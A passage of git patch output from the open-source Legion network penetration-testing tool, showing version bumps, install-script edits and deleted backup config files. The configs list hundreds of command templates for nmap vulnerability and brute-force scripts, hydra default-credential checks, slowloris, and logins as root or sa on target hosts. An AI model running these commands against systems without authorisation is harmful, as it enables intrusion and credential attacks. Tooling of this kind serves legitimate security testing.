--script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], shell +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp + +[SchedulerSettings] +ftp-default=ftp, tcp +mssql-default=ms-sql-s, tcp +mysql-default=mysql, tcp +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +oracle-default=oracle-tns, tcp +postgres-default=postgresql, tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smbenum=microsoft-ds, tcp +snmp-default=snmp, udp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="Vulners,CVE" +stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage6-ports="T:30000-65534,65535" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/usr/bin/nmap +texteditor-path=/usr/bin/leafpad diff --git a/controller/controller.py b/controller/controller.py index 795e6a86..021e4724 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,12 +28,12 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.4' - self.build = '1551730725' + self.build = '1551907880' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '03/04/2019' + self.update = '03/06/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." self.smallIcon = './images/icons/Legion-N_128x128.svg' diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 46347dd6..8da883bf 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -7,4 +7,4 @@ echo "Checking Apt..." runAptGetUpdate echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a diff --git a/deps/installPython36.sh b/deps/installPython36.sh index b4eb371c..9284be1f 100644 --- a/deps/installPython36.sh +++ b/deps/installPython36.sh @@ -5,15 +5,15 @@ source ./deps/detectPython.sh if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] | [[ -z "${PYTHON3BIN}" ]] | [[ -z "${PIP3BIN}" ]] then - echo "Installing python3.6 from APT..." + echo "Installing python 3.6 or 3.7 from APT..." echo "Checking Apt..." runAptGetUpdate - echo "Install Python3.6 and Pip3.6 from APT..." + echo "Install Python 3.6 or 3.7 and Pip 3.6 or 3.7 from APT..." apt-get install -yqqqq python3 python3-pip else - echo "Python3.6 found!" - echo "Python 3.6: ${PYTHON3BIN}" - echo "PIP 3.6: ${PIP3BIN}" + echo "Python 3.6 or 3.7 found!" + echo "Python3: ${PYTHON3BIN}" + echo "PIP3: ${PIP3BIN}" exit 0 fi @@ -24,9 +24,9 @@ then echo "Installing python3.6 from source..." sudo ./deps/buildPython36.sh else - echo "Python3.6 found!" - echo "Python 3.6: ${PYTHON3BIN}" - echo "PIP 3.6: ${PIP3BIN}" + echo "Python 3.6 or 3.7 found!" + echo "Python3: ${PYTHON3BIN}" + echo "PIP3: ${PIP3BIN}" exit 0 fi @@ -34,13 +34,13 @@ source ./deps/detectPython.sh if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] | [[ -z "${PYTHON3BIN}" ]] | [[ -z "${PIP3BIN}" ]] then - echo "Everything went wrong trying to get python3.6 setup. Please do this manually." - echo "Python 3.6: ${PYTHON3BIN}" - echo "PIP 3.6: ${PIP3BIN}" + echo "Everything went wrong trying to get python 3.6 or 3.7 setup. Please do this manually." + echo "Python3: ${PYTHON3BIN}" + echo "PIP3: ${PIP3BIN}" exit 1 else - echo "Python3.6 found!" - echo "Python 3.6: ${PYTHON3BIN}" - echo "PIP 3.6: ${PIP3BIN}" + echo "Python 3.6 or 3.7 found!" + echo "Python3: ${PYTHON3BIN}" + echo "PIP3: ${PIP3BIN}" exit 0 fi diff --git a/legion.conf b/legion.conf index 00d2c351..cc513577 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,125,100" process-tab-detail=False [GeneralSettings] diff --git a/legion.py b/legion.py index ab03219a..6f542c9c 100644 --- a/legion.py +++ b/legion.py @@ -26,7 +26,7 @@ try: from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: - log.info("Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") + log.info("Import failed. PyQt5 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt5") log.info(e) exit(1) diff --git a/requirements.txt b/requirements.txt index a1bd39cb..816b7baf 100644 --- a/requirements.txt +++ b/requirements.txt @@ -8,7 +8,7 @@ aiomonitor==0.3.1 APScheduler==3.5.3 PyQt5==5.11.3 sanic==0.8.3 -sanic_swagger==0.0.4 +sanic_swagger requests==2.20.1 pyfiglet colorama From 97782c7cccd6af500cac762dac35a92df56a63c0 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 6 Mar 2019 15:32:55 -0600 Subject: [PATCH 180/450] Cleaup junk --- backup/20190226144051898815-legion.conf | 317 ----------------------- backup/20190301141033994378-legion.conf | 318 ------------------------ backup/20190301142846448395-legion.conf | 318 ------------------------ backup/20190306152952565589-legion.conf | 318 ------------------------ 4 files changed, 1271 deletions(-) delete mode 100644 backup/20190226144051898815-legion.conf delete mode 100644 backup/20190301141033994378-legion.conf delete mode 100644 backup/20190301142846448395-legion.conf delete mode 100644 backup/20190306152952565589-legion.conf diff --git a/backup/20190226144051898815-legion.conf b/backup/20190226144051898815-legion.conf deleted file mode 100644 index 2e00f030..00000000 --- a/backup/20190226144051898815-legion.conf +++ /dev/null @@ -1,317 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" -process-tab-detail=False - -[GeneralSettings] -default-terminal=gnome-terminal -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse 